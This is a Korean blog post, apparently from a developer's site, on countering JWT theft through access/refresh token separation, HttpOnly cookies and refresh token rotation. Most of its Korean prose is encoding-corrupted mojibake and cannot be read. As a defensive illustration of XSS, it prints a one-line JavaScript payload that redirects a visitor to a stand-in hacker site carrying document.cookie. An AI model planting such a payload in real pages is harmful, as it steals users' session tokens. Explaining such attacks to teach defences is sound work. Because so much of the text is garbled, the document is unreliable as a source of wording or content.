์๋ก
๋จผ์ ๊ฐ๋จํ๊ฒ ํ ํฐ์ ๋ํด ์ค๋ช ํ๋ฉด ํ ํฐ์ด๋ ์๋ฒ๊ฐ ๊ฐ๊ฐ์ ํด๋ผ์ด์ธํธ๊ฐ ๋๊ตฌ์ธ์ง ๊ตฌ๋ณํ ์ ์๋๋ก ์ฌ์ฉ์์ ์ ๋ํฌํ ์ ๋ณด๋ฅผ ๋ด์ ์ํธํ๋ ๋ฐ์ดํฐ์ ๋๋ค. ์ฌ์ฉ์๋ ํ ํฐ ์ ํจ ๊ธฐ๊ฐ ๋์ ๋์ผํ ์นํ์ด์ง๋ ์ฑ, ํน์ ๊ทธ ๋ฐ์ ํด๋น ํ ํฐ์ ์ฌ์ฉํ๋ ๋ฆฌ์์ค๋ก ๋์๊ฐ ๋๋ง๋ค ์๊ฒฉ ์ฆ๋ช ์ ๋ค์ ์ ๋ ฅํ ํ์ ์์ด ํ ํฐ์ด ๋ฐ๊ธ๋ ์น์ฌ์ดํธ๋ ์ฑ์ ์ก์ธ์ค ํ ์ ์์ต๋๋ค.
์ด๋ ๋ฏ ํ ํฐ์ ํ ํฐ ์์ฒด์ ์ฌ์ฉ์์ ๊ถํ ์ ๋ณด๋ ์๋น์ค๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. ์ฌ๊ธฐ์ Json ํฌ๋งท์ ์ด์ฉํ์ฌ ์ฌ์ฉ์์ ๋ํ ์์ฑ์ ์ ์ฅํ๋ Web Token์ JWT(Json Web Token)์ด๋ผ๊ณ ๋ถ๋ฅด๋๋ฐ, ์ด๋ฒ ํฌ์คํ ์์๋ ์ด๋ฌํ JWTํ ํฐ์ ํ์ทจ์ ๋์ฒํ๋ ๋ฐฉ๋ฒ์ ๋ํด์ ์ ๋ฆฌํด ๋ณด๊ฒ ์ต๋๋ค.
๋ชฉ์ฐจ
- Access Token๊ณผ Refresh Token์ผ๋ก ๋ถ๋ฆฌํ๊ธฐ
- Http Only ์ค์ ํ๊ธฐ
- Refresh Token Rotation(RTR) ๋ฐฉ๋ฒ
Access Token๊ณผ Refresh Token์ผ๋ก ๋ถ๋ฆฌํ๊ธฐ
ํ ํฐ ๊ธฐ๋ฐ์ ์ธ์ฆ ๋ฐฉ์์์ ํ ํฐ์ ์ธ์ ๊ณผ ๋ค๋ฅด๊ฒ ๋ฌด์ํ(stateless) ํ๋ค๋ ํน์ง์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ๊ทธ๋์ ์๋ฒ๊ฐ ์ํ๋ฅผ ๋ณด๊ดํ๊ณ ์์ง ์์ผ๋ฉฐ, ์๋ฒ๋ ํ ํฐ์ ๋ํด ์ ์ด๊ถ์ ๊ฐ์ง๊ณ ์์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์๋ฒ์์๋ ํด๋น ํ ํฐ์ ์ฆ์ ๋ง๋ฃ์ํฌ ์ ์๊ธฐ์ ํ ํฐ์ด ํ๋ฒ ํ์ทจ๋นํ๋ฉด ๋งค์ฐ ๊ณค๋ํ ์ํฉ์ ๋น ์ง๊ฒ ๋ฉ๋๋ค.
ํด๋น ๋ฌธ์ ์ ์ต๋ํ ๋์ฒํ๊ธฐ ์ํด ์ฐ๋ฆฌ๋ ํ ํฐ์ Access Token๊ณผ Refresh Token์ ๋ ๊ฐ์ง ๋ถ๋ฅ๋ก ๋๋ ์ ์์ต๋๋ค.
- Access Token: ์ ํจ ๊ธฐ๊ฐ์ด ์งง์(์ฃผ๋ก ๋ถ ๋จ์)์ ํ ํฐ, ๋ฆฌ์์ค์ ์ ๊ทผํ๊ธฐ ์ํด ์ฌ์ฉํจ
- Refresh Token: ์ ํจ ๊ธฐ๊ฐ์ด ๊ธด(์ฃผ๋ก ์ผ ๋จ์)์ ํ ํฐ, Access Token์ ์ฌ๋ฐ๊ธ๋ฐ๊ธฐ ์ํด ์ฌ์ฉํจ
- ํด๋ผ์ด์ธํธ๊ฐ ํ์๊ฐ์ ํน์ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ์๋ฒ๋ ์๋ต๊ฐ์ผ๋ก Access Token๊ณผ Refresh Token์ ํจ๊ป ์ ๊ณตํ๋ค.
- ํด๋ผ์ด์ธํธ๋ API๋ฅผ ํธ์ถํ ๋ Access Token ๋ด์ ๋ณด๋ด๊ณ , ์๋ฒ์์ Access Token์ ํตํด ์ ์ ๋ฅผ ์ธ์ฆํ๋ค.
- ๋ง์ฝ Access Token์ ์ ํจ ๊ธฐ๊ฐ์ด ๋ง๋ฃ๋์๋ค๋ฉด, ํด๋ผ์ด์ธํธ๋ Refresh Token์ ์๋ฒ์ ์ ๋ฌํ์ฌ ์๋ก์ด Access Token์ ๋ฐ๊ธ๋ฐ๋๋ค.
Access Token๊ณผ Refresh Token์ ์ฌ์ฉํ ๋์ ๊ฐ๋จํ ํ๋ก์ฐ๋ ์์ ๊ฐ์ต๋๋ค.
Access Token๊ณผ Refresh Token์ผ๋ก ๋๋๊ณ , Access Token์ ํตํด ํต์ ํจ์ผ๋ก์จ, ์ ์์ ์ด์ฉ์์ ์ํด Access Token์ด ํ์ทจ๋นํ๋๋ผ๋ ์ ํจ๊ธฐ๊ฐ์ด ์งง๊ธฐ์ ํฌ๊ฒ ๋ถ๋ด์ด ๋์ง ์๊ณ , ์ฃผ ํต์ ์ Access Token์ผ๋ก ์ด๋ฃจ์ด์ง๊ธฐ ๋๋ฌธ์ Refresh Token์ด ํ์ทจ๋นํ ๊ฐ๋ฅ์ฑ์ ํฌ๊ฒ ์ค์ผ ์ ์์ต๋๋ค.
Http Only ์ค์ ํ๊ธฐ
ํ์ง๋ง ์ฐ๋ฆฌ๋ ์์ง ์๋ฌธ์ ์ด ๋จ์์์ต๋๋ค. ๊ทธ๋ ๋ค๋ฉด Refresh Token์ด ํ์ทจ๋นํ๋ฉด ์ด๋ป๊ฒ ๋ ๊น์? Access Token์ ์ ํจ๊ธฐ๊ฐ์ด ์งง๊ธฐ์ ํ์ทจ๋นํ๋๋ผ๋ ๊ณง ๋ง๋ฃ๋ ๊ฑฐ๋ผ๋ ์กฐ๊ธ์ ์์ฌ์ ํ ์ ์์ง๋ง Refresh Token์ ๊ทธ๋ ์ง ์์ต๋๋ค. Refresh Token์ผ๋ก ์ผ๋ง๋ ์ง Access Token์ ๋ฐ๊ธ๋ฐ์ ์ ์์ ์ด์ฉ์ ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
๋๋ถ๋ถ์ ํด๋ผ์ด์ธํธ๋ ์ฟ ํค์ Token์ ์ ์ฅํ๋ฉฐ, ํด๋ผ์ด์ธํธ๋ ๋ชจ๋ ์์ฒญ(Request)์ ์ฟ ํค๋ฅผ ํฌํจํ์ฌ ์๋ฒ๋ก ์ ๋ฌํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ์์ ์ด๋ฌํ ์ฟ ํค๋ฅผ ํ์ธํ๋ ๋ฐฉ๋ฒ์ ๊ต์ฅํ ์ฝ์ต๋๋ค.
๋จผ์ ์ ๋ง๋ก ์ฟ ํค์ ๋ด๊ธฐ๋์ง ํ๋ฒ ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค.
ํ ํฐ์ ์ด๋ฆ์ ํ๋ซํผ๋ง๋ค ๋ค๋ฅด๊ฒ ์ง๋ง token์ด ์ฟ ํค์ ์ ์ฅ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์ฟ ํค๋ ํด๋ผ์ด์ธํธ์์ ์๋ฐ์คํฌ๋ฆฝํธ๋ก ์กฐํํ ์ ์๊ธฐ ๋๋ฌธ์, ํด์ปค๋ค์ ์๋ฐ์คํฌ๋ฆฝํธ๋ก ์ฟ ํค๋ฅผ ๊ฐ๋ก์ฑ๊ณ ์ ์๋๋ฅผ ํ๊ฒ ๋ฉ๋๋ค. ๊ฐ์ฅ ๋ํ์ ์ธ ๊ณต๊ฒฉ ์ค ํ๋๊ฐ XSS(Cross Site Scripting)์ ๋๋ค.
location.href = 'http://ํด์ปค์ฌ์ดํธ/?cookies=' + document.cookie;
์ ์์ ์ฌ์ฉ์๊ฐ ์์ ๊ฐ์ ๊ฒ์๋ฌผ์ ๊ฒ์ํ์ ์์ฑํ ๋ค, ๋ค๋ฅธ ์ด์ฉ์๊ฐ ๊ฒ์๋ฌผ์ ์ฝ๊ฒ ๋๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ ๋ช ๋ น์ด ์คํ๋์ด ์ ์์ ์ด์ฉ์์ ์ฌ์ดํธ๋ก ์ด๋๋๋ฉฐ ์ด์ ์น์ ๋ด๊ฒจ์๋ ๋ชจ๋ cookie์ ๋ณด๊ฐ ํด๋น URL ์ฟผ๋ฆฌ์ ๋ด๊ธฐ๊ฒ ๋๋ฉฐ ๋์ด๊ฐ๊ฒ ๋ฉ๋๋ค.
์ค์ ๋ก console ์ฐฝ์ document.cookie;๋ฅผ ํตํด cookie ๊ฐ์ ๋ถ๋ฌ์ฌ ์ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ด๋ฌํ CSS ์ทจ์ฝ์ ์ ํด๊ฒฐํ๋ ๋ฐฉ๋ฒ์, ๋ธ๋ผ์ฐ์ ์์ ์ฟ ํค์ ์ ๊ทผํ ์ ์๋๋ก ์ ํํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฌํ ์ญํ ์ ํ๋ ๊ฒ์ด ๋ฐ๋ก HTTP Only Cookie ์ค์ ์ธ๋ฐ, HttpOnly ์์ฑ์ ํด๋ผ์ด์ธํธ(๋ธ๋ผ์ฐ์ ๋ฑ)์์ ์ค์ ํ ์ ์๋ ์ต์ ์ด๋ฉฐ, ์๋ฒ๋จ์์ ์ค์ ํ ์ ์๋ ์ต์ ์ ๋๋ค. ์๋ฒ์์ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋จํ ์ ๋ฏธ์ฌ๋ฅผ ์ฟ ํค์์ฑ์ฝ๋์ ์ถ๊ฐํจ์ผ๋ก์จ ํ์ฑํํ ์ ์์ต๋๋ค.
Set-Cookie: ์ฟ ํค๋ช
=์ฟ ํค๊ฐ; path=/; HttpOnly
๊ฐ์ฅ ๋ง์ง๋ง์ HttpOnly๋ผ๋ ์ ๋ฏธ์ฌ๋ง ์ถ๊ฐํจ์ผ๋ก์จ HTTP Only Cookie๊ฐ ํ์ฑํ๋๋ฉฐ, ์์์ ๋งํ XSS์ ๊ฐ์ ๊ณต๊ฒฉ์ด ์ฐจ๋จ๋๊ฒ ๋ฉ๋๋ค. HTTP Only Cookie๋ฅผ ์ค์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ์์ ํด๋น ์ฟ ํค๋ก ์ ๊ทผํ ์ ์๊ฒ ๋์ง๋ง, ์ฟ ํค์ ํฌํจ๋ ์ ๋ณด์ ๋๋ถ๋ถ์ด ๋ธ๋ผ์ฐ์ ์์ ์ ๊ทผํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์ HTTP Only Cookie๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
์ค์ ๋ก ๋ฏผ๊ฐํ ์ ๋ณด๋ค์ HttpOnly ์ค์ ์ด ๋์ด์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์ ๋ฆฌํ๋ฉด HttpOnly๋ document.cookie๋ฅผ ์ด์ฉํด์ ๋๊ตฐ๊ฐ๊ฐ ์ฟ ํค๋ฅผ ํ์ธํ์ง ๋ชปํ๋๋ก ์ ํํ๋ ์ค์ ์ ๋๋ค.
Refresh Token Rotation(RTR) ๋ฐฉ๋ฒ
๋ง์ฝ HttpOnly์ Secure๊ฐ ์ ์ฉ๋ Cookie์๋ ํ ํฐ์ ์ ์ฅํ๋ ๊ฒ์ด ๋ฏฟ์์งํ์ง ๋ชปํ๋ค๋ฉด Refresh Token์ ๋กํ ์ด์ ์ํค๋ ๋ฐฉ๋ฒ๋ ์กด์ฌํฉ๋๋ค.
Refresh Token Ratation(RTR)์ด๋ Access Token์ด ๋ง๋ฃ๋๊ณ Refresh Token์ผ๋ก ์๋ก์ด Access Token์ ๋ฐ์์ฌ ๋, ์๋ก์ด Refresh Token๋ ๋ฐ์์ค๋๋ก ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ์ฆ. Refresh Token์ด ์ฌ์ฉ๋ ๋๋ง๋ค ์๋ก์ด Access Token๊ณผ Refresh Token์ ๋ฐ๊ธํ์ฌ ์ด์ ์ ๋ฐ๊ธ๋ Token๋ค์ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํ๋๋ก ํ๋ ๊ฒ์ ๋๋ค.
์ด๋ ๊ฒ ๊ตฌ์ฑํ๋ฉด Refresh Token์ ์ผํ์ฉ ์ด๊ธฐ ๋๋ฌธ์, ๋ ๋ฒ ์ด์ Refresh Token์ ์ฌ์ฉํ๊ฒ ๋๋ฉด ํ์ทจ๋ ๊ฒ์ผ๋ก ๊ฐ์ฃผํ๊ณ ์กฐ์น๋ฅผ ์ทจํ ์ ์๊ฒ ๋ฉ๋๋ค. ๋ค๋ง ์ฌ์ฉ๋์ง ์์ Refresh Token์ ํ์ณ ์ฌ์ฉํ๊ฑฐ๋, ์ง์์ ์ผ๋ก Access Token๋ง์ ํ์ทจํ๋ค๋ฉด ๋ง์ ์ ์์ต๋๋ค.
์ฐธ๊ณ
'BackEnd๐ฑ > Etc' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ญํน ์๊ณ ๋ฆฌ์ฆ] - Hacker News Algorithm (3) | 2024.01.16 |
---|---|
504 Gateway TimeOut์ ํธ์ถ๋ ๋ก์ง์? (3) | 2023.10.26 |
[GA] UTM์ผ๋ก ์ ์ ๊ฒฝ๋ก ์ถ์ ํ๊ธฐ (0) | 2023.09.22 |
์์ ์์ ์ ์ฅํ๊ธฐ IntelliJ์ Shelve (0) | 2023.01.13 |
๊ฐ๋น์ + Linux + Nginx + Cerbot/SSL์ ํ์ฉํ https ์ค์ (0) | 2022.12.05 |
Spring Boot + GitHub Actions + AWS CodeDeploy๋ฅผ ํ์ฉํ CI/CD ๊ตฌ์ถ (9) | 2022.12.04 |
๋๊ธ